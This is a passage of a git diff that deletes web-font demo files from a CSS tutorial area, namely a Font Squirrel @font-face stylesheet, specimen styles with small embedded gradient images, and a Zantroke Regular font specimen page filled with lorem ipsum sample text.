-.size36 {
-    font-size: 36px;
-}
-.size48 {
-    font-size: 48px;
-}
-.size60 {
-    font-size: 60px;
-}
-.size72 {
-    font-size: 72px;
-}
-.size90 {
-    font-size: 90px;
-}
-
-.psample_row1 {
-    height: 120px;
-}
-.psample_row1 {
-    height: 120px;
-}
-.psample_row2 {
-    height: 160px;
-}
-.psample_row3 {
-    height: 160px;
-}
-.psample_row4 {
-    height: 160px;
-}
-
-.psample {
-    overflow: hidden;
-    position: relative;
-}
-.psample p {
-    line-height: 1.3em;
-    display: block;
-    overflow: hidden;
-    margin: 0;
-}
-
-.psample span {
-    margin-right: 0.5em;
-}
-
-.white_blend {
-    width: 100%;
-    height: 61px;
-    background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVkAAAA9CAYAAAAH4BojAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAO1JREFUeNrs3TsKgFAMRUE/eer+NxztxMYuEWQG3ECKwwUF58ycAKixOAGAyAKILAAiCyCyACILgMgCiCyAyAIgsgAiCyCyAIgsgMgCiCwAIgsgsgAiC4DIAogsACIL0CWuZ3UGgLrIhjMA1EV2OAOAJQtgyQLwjOzmDAAiCyCyAIgsQFtkd2cAEFkAkQVAZAHaIns4A4AlC2DJAiCyACILILIAiCzAV5H1dQGAJQsgsgCILIDIAvwisl58AViyAJYsACILILIAIgvAe2T9EhxAZAFEFgCRBeiL7HAGgLrIhjMAWLIAliwAt1OAAQDwygTBulLIlQAAAABJRU5ErkJggg==);
-    position: absolute;
-    bottom: 0;
-}
-.black_blend {
-    width: 100%;
-    height: 61px;
-    background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAVkAAAA9CAYAAAAH4BojAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAPJJREFUeNrs3TEKhTAQRVGjibr/9QoxhY2N3Ywo50A28IrLwP9g6b1PAMSYTQAgsgAiC4DIAogsgMgCILIAIgsgsgCILIDIAogsACILILIAIguAyAKILIDIAiCyACILgMgCZCnjLWYAiFGvB0BQZJsZAFyyAC5ZAO6RXc0AILIAIguAyAKkRXYzA4DIAogsACILkBbZ3QwALlkAlywAIgsgsgAiC4DIArwVWf8uAHDJAogsACILILIAv4isH74AXLIALlkARBZAZAFEFoDnyPokOIDIAogsACILkBfZZgaAuMhWMwC4ZAE+p4x3mAEgxinAAJ+XBbPWGkwAAAAAAElFTkSuQmCC);
-    position: absolute;
-    bottom: 0;
-}
-.fullreverse {
-    background: #000 !important;
-    color: #fff !important;
-    margin-left: -20px;
-    padding-left: 20px;
-    margin-right: -20px;
-    padding-right: 20px;
-    padding: 20px;
-    margin-bottom: 0;
-}
-
-.sample_table td {
-    padding-top: 3px;
-    padding-bottom: 5px;
-    padding-left: 5px;
-    vertical-align: middle;
-    line-height: 1.2em;
-}
-
-.sample_table td:first-child {
-    background-color: #eee;
-    text-align: right;
-    padding-right: 5px;
-    padding-left: 0;
-    padding: 5px;
-    font: 11px/12px 'Courier New', Courier, mono;
-}
-
-code {
-    white-space: pre;
-    background-color: #eee;
-    display: block;
-    padding: 10px;
-    margin-bottom: 18px;
-    overflow: auto;
-}
-
-.bottom,
-.last {
-    margin-bottom: 0 !important;
-    padding-bottom: 0 !important;
-}
-
-.box {
-    padding: 18px;
-    margin-bottom: 18px;
-    background: #eee;
-}
-
-.reverse,
-.reversed {
-    background: #000 !important;
-    color: #fff !important;
-    border: none !important;
-}
-
-#bodycomparison {
-    position: relative;
-    overflow: hidden;
-    font-size: 72px;
-    height: 90px;
-    white-space: nowrap;
-}
-
-#bodycomparison div {
-    font-size: 72px;
-    line-height: 90px;
-    display: inline;
-    margin: 0 15px 0 0;
-    padding: 0;
-}
-
-#bodycomparison div span {
-    font: 10px Arial;
-    position: absolute;
-    left: 0;
-}
-#xheight {
-    float: none;
-    position: absolute;
-    color: #d9f3ff;
-    font-size: 72px;
-    line-height: 90px;
-}
-
-.fontbody {
-    position: relative;
-}
-.arialbody {
-    font-family: Arial;
-    position: relative;
-}
-.verdanabody {
-    font-family: Verdana;
-    position: relative;
-}
-.georgiabody {
-    font-family: Georgia;
-    position: relative;
-}
-
-/* @group Layout page
- */
-
-#layout h1 {
-    font-size: 36px;
-    line-height: 42px;
-    font-weight: normal;
-    font-style: normal;
-}
-
-#layout h2 {
-    font-size: 24px;
-    line-height: 23px;
-    font-weight: normal;
-    font-style: normal;
-}
-
-#layout h3 {
-    font-size: 22px;
-    line-height: 1.4em;
-    margin-top: 1em;
-    font-weight: normal;
-    font-style: normal;
-}
-
-#layout p.byline {
-    font-size: 12px;
-    margin-top: 18px;
-    line-height: 12px;
-    margin-bottom: 0;
-}
-#layout p {
-    font-size: 14px;
-    line-height: 21px;
-    margin-bottom: 0.5em;
-}
-
-#layout p.large {
-    font-size: 18px;
-    line-height: 26px;
-}
-
-#layout .sidebar p {
-    font-size: 12px;
-    line-height: 1.4em;
-}
-
-#layout p.caption {
-    font-size: 10px;
-    margin-top: -16px;
-    margin-bottom: 18px;
-}
-
-/* @end */
-
-/* @group Glyphs */
-
-#glyph_chart div {
-    background-color: #d9f3ff;
-    color: black;
-    float: left;
-    font-size: 36px;
-    height: 1.2em;
-    line-height: 1.2em;
-    margin-bottom: 1px;
-    margin-right: 1px;
-    text-align: center;
-    width: 1.2em;
-    position: relative;
-    padding: 0.6em 0.2em 0.2em;
-}
-
-#glyph_chart div p {
-    position: absolute;
-    left: 0;
-    top: 0;
-    display: block;
-    text-align: center;
-    font: bold 9px Arial, sans-serif;
-    background-color: #3a768f;
-    width: 100%;
-    color: #fff;
-    padding: 2px 0;
-}
-
-#glyphs h1 {
-    font-family: Arial, sans-serif;
-}
-/* @end */
-
-/* @group Installing */
-
-#installing {
-    font: 13px Arial, sans-serif;
-}
-
-#installing p,
-#glyphs p {
-    line-height: 1.2em;
-    margin-bottom: 18px;
-    font: 13px Arial, sans-serif;
-}
-
-#installing h3 {
-    font-size: 15px;
-    margin-top: 18px;
-}
-
-/* @end */
-
-#rendering h1 {
-    font-family: Arial, sans-serif;
-}
-.render_table td {
-    font: 11px 'Courier New', Courier, mono;
-    vertical-align: middle;
-}
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/fonts/stylesheet.css b/docs/content/learning-area/css/styling-text/web-fonts/fonts/stylesheet.css
deleted file mode 100644
index 4261e45f2c..0000000000
--- a/docs/content/learning-area/css/styling-text/web-fonts/fonts/stylesheet.css
+++ /dev/null
@@ -1,19 +0,0 @@
-/* Generated by Font Squirrel (https://www.fontsquirrel.com) on April 14, 2016 */
-
-@font-face {
-    font-family: 'ciclefina';
-    src: url('cicle_fina-webfont.eot');
-    src: url('cicle_fina-webfont.eot?#iefix') format('embedded-opentype'), url('cicle_fina-webfont.woff2') format('woff2'),
-        url('cicle_fina-webfont.woff') format('woff'), url('cicle_fina-webfont.ttf') format('truetype'), url('cicle_fina-webfont.svg#ciclefina') format('svg');
-    font-weight: normal;
-    font-style: normal;
-}
-
-@font-face {
-    font-family: 'zantrokeregular';
-    src: url('zantroke-webfont.eot');
-    src: url('zantroke-webfont.eot?#iefix') format('embedded-opentype'), url('zantroke-webfont.woff2') format('woff2'),
-        url('zantroke-webfont.woff') format('woff'), url('zantroke-webfont.ttf') format('truetype'), url('zantroke-webfont.svg#zantrokeregular') format('svg');
-    font-weight: normal;
-    font-style: normal;
-}
diff --git a/docs/content/learning-area/css/styling-text/web-fonts/fonts/zantroke-demo.html b/docs/content/learning-area/css/styling-text/web-fonts/fonts/zantroke-demo.html
deleted file mode 100644
index 04c3438f63..0000000000
--- a/docs/content/learning-area/css/styling-text/web-fonts/fonts/zantroke-demo.html
+++ /dev/null
@@ -1,1462 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-    <head>
-        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
-        <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js" type="text/javascript" charset="utf-8"></script>
-        <script src="specimen_files/easytabs.js" type="text/javascript" charset="utf-8"></script>
-        <link rel="stylesheet" href="specimen_files/specimen_stylesheet.css" type="text/css" charset="utf-8" />
-        <link rel="stylesheet" href="stylesheet.css" type="text/css" charset="utf-8" />
-
-        <style type="text/css">
-            body {
-                font-family: 'zantrokeregular';
-            }
-        </style>
-
-        <title>Zantroke Regular Specimen</title>
-
-        <script type="text/javascript" charset="utf-8">
-            $(document).ready(function () {
-                $('#container').easyTabs({
-                    defaultContent: 1
-                });
-            });
-        </script>
-    </head>
-
-    <body>
-        <div id="container">
-            <div id="header">Zantroke Regular</div>
-            <ul class="tabs">
-                <li><a href="#specimen">Specimen</a></li>
-                <li><a href="#layout">Sample Layout</a></li>
-                <li><a href="#glyphs">Glyphs &amp; Languages</a></li>
-                <li><a href="#installing">Installing Webfonts</a></li>
-            </ul>
-
-            <div id="main_content">
-                <div id="specimen">
-                    <div class="section">
-                        <div class="grid12 firstcol">
-                            <div class="huge">AaBb</div>
-                        </div>
-                    </div>
-
-                    <div class="section">
-                        <div class="glyph_range">
-                            A&#x200B;B&#x200b;C&#x200b;D&#x200b;E&#x200b;F&#x200b;G&#x200b;H&#x200b;I&#x200b;J&#x200b;K&#x200b;L&#x200b;M&#x200b;N&#x200b;O&#x200b;P&#x200b;Q&#x200b;R&#x200b;S&#x200b;T&#x200b;U&#x200b;V&#x200b;W&#x200b;X&#x200b;Y&#x200b;Z&#x200b;a&#x200b;b&#x200b;c&#x200b;d&#x200b;e&#x200b;f&#x200b;g&#x200b;h&#x200b;i&#x200b;j&#x200b;k&#x200b;l&#x200b;m&#x200b;n&#x200b;o&#x200b;p&#x200b;q&#x200b;r&#x200b;s&#x200b;t&#x200b;u&#x200b;v&#x200b;w&#x200b;x&#x200b;y&#x200b;z&#x200b;1&#x200b;2&#x200b;3&#x200b;4&#x200b;5&#x200b;6&#x200b;7&#x200b;8&#x200b;9&#x200b;0&#x200b;&amp;&#x200b;.&#x200b;,&#x200b;?&#x200b;!&#x200b;&#64;&#x200b;(&#x200b;)&#x200b;#&#x200b;$&#x200b;%&#x200b;*&#x200b;+&#x200b;-&#x200b;=&#x200b;:&#x200b;;
-                        </div>
-                    </div>
-                    <div class="section">
-                        <div class="grid12 firstcol">
-                            <table class="sample_table">
-                                <tr>
-                                    <td>10</td>
-                                    <td class="size10">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>11</td>
-                                    <td class="size11">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>12</td>
-                                    <td class="size12">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>13</td>
-                                    <td class="size13">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>14</td>
-                                    <td class="size14">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>16</td>
-                                    <td class="size16">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>18</td>
-                                    <td class="size18">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>20</td>
-                                    <td class="size20">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>24</td>
-                                    <td class="size24">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>30</td>
-                                    <td class="size30">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>36</td>
-                                    <td class="size36">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>48</td>
-                                    <td class="size48">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>60</td>
-                                    <td class="size60">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>72</td>
-                                    <td class="size72">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                                <tr>
-                                    <td>90</td>
-                                    <td class="size90">
-                                        abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
-                                    </td>
-                                </tr>
-                            </table>
-                        </div>
-                    </div>
-
-                    <div class="section" id="bodycomparison">
-                        <div id="xheight">
-                            <div class="fontbody">
-                                &#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;&#x25FC;body
-                            </div>
-                            <div class="arialbody">body</div>
-                            <div class="verdanabody">body</div>
-                            <div class="georgiabody">body</div>
-                        </div>
-                        <div class="fontbody" style="z-index: 1">body<span>Zantroke Regular</span></div>
-                        <div class="arialbody" style="z-index: 1">body<span>Arial</span></div>
-                        <div class="verdanabody" style="z-index: 1">body<span>Verdana</span></div>
-                        <div class="georgiabody" style="z-index: 1">body<span>Georgia</span></div>
-                    </div>
-
-                    <div class="section psample psample_row1" id="">
-                        <div class="grid2 firstcol">
-                            <p class="size10">
-                                <span>10.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid3">
-                            <p class="size11">
-                                <span>11.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid3">
-                            <p class="size12">
-                                <span>12.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid4">
-                            <p class="size13">
-                                <span>13.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="white_blend"></div>
-                    </div>
-                    <div class="section psample psample_row2" id="">
-                        <div class="grid3 firstcol">
-                            <p class="size14">
-                                <span>14.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid4">
-                            <p class="size16">
-                                <span>16.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid5">
-                            <p class="size18">
-                                <span>18.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-
-                        <div class="white_blend"></div>
-                    </div>
-
-                    <div class="section psample psample_row3" id="">
-                        <div class="grid5 firstcol">
-                            <p class="size20">
-                                <span>20.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid7">
-                            <p class="size24">
-                                <span>24.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-
-                        <div class="white_blend"></div>
-                    </div>
-
-                    <div class="section psample psample_row4" id="">
-                        <div class="grid12 firstcol">
-                            <p class="size30">
-                                <span>30.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="white_blend"></div>
-                    </div>
-
-                    <div class="section psample psample_row1 fullreverse">
-                        <div class="grid2 firstcol">
-                            <p class="size10">
-                                <span>10.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid3">
-                            <p class="size11">
-                                <span>11.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid3">
-                            <p class="size12">
-                                <span>12.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid4">
-                            <p class="size13">
-                                <span>13.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="black_blend"></div>
-                    </div>
-
-                    <div class="section psample psample_row2 fullreverse">
-                        <div class="grid3 firstcol">
-                            <p class="size14">
-                                <span>14.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid4">
-                            <p class="size16">
-                                <span>16.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid5">
-                            <p class="size18">
-                                <span>18.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="black_blend"></div>
-                    </div>
-
-                    <div class="section psample fullreverse psample_row3" id="">
-                        <div class="grid5 firstcol">
-                            <p class="size20">
-                                <span>20.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="grid7">
-                            <p class="size24">
-                                <span>24.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-
-                        <div class="black_blend"></div>
-                    </div>
-
-                    <div class="section psample fullreverse psample_row4" id="" style="border-bottom: 20px #000 solid">
-                        <div class="grid12 firstcol">
-                            <p class="size30">
-                                <span>30.</span>Aenean lacinia bibendum nulla sed consectetur. Fusce dapibus, tellus ac cursus commodo, tortor mauris
-                                condimentum nibh, ut fermentum massa justo sit amet risus. Nullam id dolor id nibh ultricies vehicula ut id elit. Cum sociis
-                                natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla vitae elit libero, a pharetra augue.
-                            </p>
-                        </div>
-                        <div class="black_blend"></div>
-                    </div>
-                </div>
-
-                <div id="layout">
-                    <div class="section">
-                        <div class="grid12 firstcol">
-                            <h1>Lorem Ipsum Dolor</h1>
-                            <h2>Etiam porta sem malesuada magna mollis euismod</h2>
-
-                            <p class="byline">By <a href="#link">Aenean Lacinia</a></p>
-                        </div>
-                    </div>
-                    <div class="section">
-                        <div class="grid8 firstcol">
-                            <p class="large">
-                                Donec sed odio dui. Morbi leo risus, porta ac consectetur ac, vestibulum at eros. Fusce dapibus, tellus ac cursus commodo,
-                                tortor mauris condimentum nibh, ut fermentum massa justo sit amet risus.
-                            </p>
-
-                            <h3>Pellentesque ornare sem</h3>
-
-                            <p>
-                                Maecenas sed diam eget risus varius blandit sit amet non magna. Maecenas faucibus mollis interdum. Donec ullamcorper nulla non
-                                metus auctor fringilla. Nullam id dolor id nibh ultricies vehicula ut id elit. Nullam id dolor id nibh ultricies vehicula ut id
-                                elit.
-                            </p>
-
-                            <p>
-                                Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum. Lorem ipsum dolor sit amet, consectetur
-                                adipiscing elit. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.
-                            </p>
-
-                            <p>
-                                Nulla vitae elit libero, a pharetra augue. Praesent commodo cursus magna, vel scelerisque nisl consectetur et. Aenean lacinia
-                                bibendum nulla sed consectetur.
-                            </p>
-
-                            <p>
-                                Nullam quis risus eget urna mollis ornare vel eu leo. Nullam quis risus eget urna mollis ornare vel eu leo. Maecenas sed diam
-                                eget risus varius blandit sit amet non magna. Donec ullamcorper nulla non metus auctor fringilla.
-                            </p>
-
-                            <h3>Cras mattis consectetur</h3>
-
-                            <p>
-                                Aenean eu leo quam. Pellentesque ornare sem lacinia quam venenatis vestibulum. Aenean lacinia bibendum nulla sed consectetur.
-                                Integer posuere erat a ante venenatis dapibus posuere velit aliquet. Cras mattis consectetur purus sit amet fermentum.
-                            </p>
-
-                            <p>
-                                Nullam id dolor id nibh ultricies vehicula ut id elit. Nullam quis risus eget urna mollis ornare vel eu leo. Cras mattis
-                                consectetur purus sit amet fermentum.
-                            </p>
-                        </div>
-
-                        <div class="grid4 sidebar">
-                            <div class="box reverse">
-                                <p class="last">
-                                    Nullam quis risus eget urna mollis ornare vel eu leo. Donec ullamcorper nulla non metus auctor fringilla. Cras mattis
-                                    consectetur purus sit amet fermentum. Sed posuere consectetur est at lobortis. Lorem ipsum dolor sit amet, consectetur
-                                    adipiscing elit.
-                                </p>
-                            </div>
-
-                            <p class="caption">Maecenas sed diam eget risus varius.</p>
-
-                            <p>
-                                Vestibulum id ligula porta felis euismod semper. Integer posuere erat a ante venenatis dapibus posuere velit aliquet. Vestibulum
-                                id ligula porta felis euismod semper. Sed posuere consectetur est at lobortis. Maecenas sed diam eget risus varius blandit sit
-                                amet non magna. Fusce dapibus, tellus ac cursus commodo, tortor mauris condimentum nibh, ut fermentum massa justo sit amet
-                                risus.
-                            </p>
-
-                            <p>
